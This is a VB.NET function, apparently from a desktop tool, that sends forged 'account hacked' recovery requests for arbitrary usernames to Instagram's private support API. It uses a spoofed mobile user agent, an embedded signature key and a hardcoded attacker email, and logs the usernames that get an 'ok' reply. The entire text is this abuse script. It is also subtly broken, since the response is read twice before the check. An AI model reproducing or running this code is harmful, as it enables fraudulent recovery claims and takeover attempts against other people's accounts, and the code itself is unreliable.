ticket

    Public Function checkusername(ByVal user As String) As Boolean


        Dim result As Object = False
        Application.DoEvents()
        Try
            Dim text As String = Guid.NewGuid().ToString().ToUpper()
            Dim str As String = Guid.NewGuid().ToString().ToUpper()
            Dim stringBuilder As StringBuilder = New StringBuilder()
            Dim stringBuilder2 As StringBuilder = stringBuilder
            Dim text2 As String = String.Concat(New String() {"{""signup_email"":""skrept21@gmail.com"",""device_id"":""", "71228EE0-EA2E-4FFC-A1B6-4F06FB3686FF", """,""_uuid"":""", "71228EE0-EA2E-4FFC-A1B6-4F06FB3686FF", """,""additional_info"":""", "My account is hacked =(", """,""username"":""", "" + user + "", """,""reason_failed"":""", "ACCOUNT_HACKED", """,""account_type"":""", "personal_without_photo", """,""contact_email"":""skrept21@gmail.com"",""_uid"":""", "", """,""_csrftoken"":""missing""}"})
            text2 = String.Format("{0}.{1}", Form1.Sha256_hash(text2, "f372b2a5f14d1bebedaaa4ac6f8d506db30ffdd6185b8e0cdfa7dab42f5a9cc6"), text2)
            stringBuilder2.AppendLine("--" + str)
            stringBuilder2.AppendLine("Content-Disposition: form-data; name=""signed_body""")
            stringBuilder2.AppendLine()
            stringBuilder2.AppendLine(text2)
            stringBuilder2.AppendLine("--" + str)
            stringBuilder2.AppendLine("Content-Disposition: form-data; name=""ig_sig_key_version""")
            stringBuilder2.AppendLine()
            stringBuilder2.AppendLine("4")
            stringBuilder2.Append("--" + str + "--")
            Dim bytes As Byte() = Encoding.UTF8.GetBytes(stringBuilder.ToString())
            Dim httpWebRequest As HttpWebRequest = CType(WebRequest.Create("https://i.instagram.com/api/v1/users/vetted_device_login_support/"), HttpWebRequest)
            httpWebRequest.AutomaticDecompression = DecompressionMethods.GZip
            httpWebRequest.Method = "POST"
            httpWebRequest.Host = "i.instagram.com"
            httpWebRequest.UserAgent = "Instagram 22.0.0.15.68 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"
            httpWebRequest.Headers.Add("Accept-Language", "ar;q=1, en;q=0.9")
            httpWebRequest.KeepAlive = True
            httpWebRequest.Proxy = Nothing
            httpWebRequest.ContentType = "multipart/form-data; boundary=" + str
            httpWebRequest.ContentLength = CLng(bytes.Length)
            Dim requestStream As Stream = httpWebRequest.GetRequestStream()
            requestStream.Write(bytes, 0, bytes.Length)
            requestStream.Close()
            Dim httpWebResponse As HttpWebResponse = CType(httpWebRequest.GetResponse(), HttpWebResponse)
            Dim streamReader As StreamReader = New StreamReader(httpWebResponse.GetResponseStream())
            Dim aaa = streamReader.ReadToEnd

            Try
                Dim flag As Boolean = streamReader.ReadToEnd().Contains("ok")
                Dim flag2 As Boolean = flag
                If flag2 Then

                    TextBox1.AppendText(user & vbCrLf)

                End If
                streamReader.Close()
            Finally
                Dim flag3 As Boolean = streamReader IsNot Nothing
                Dim flag2 As Boolean = flag3
                If flag2 Then
                    CType(streamReader, IDisposable).Dispose()
                End If
            End Try
            httpWebResponse.Close()
        Catch ex As Exception
            Me.loops += 1
            Me.TextBox5.Text = Me.loops.ToString
        End Try
        Return result



    End Function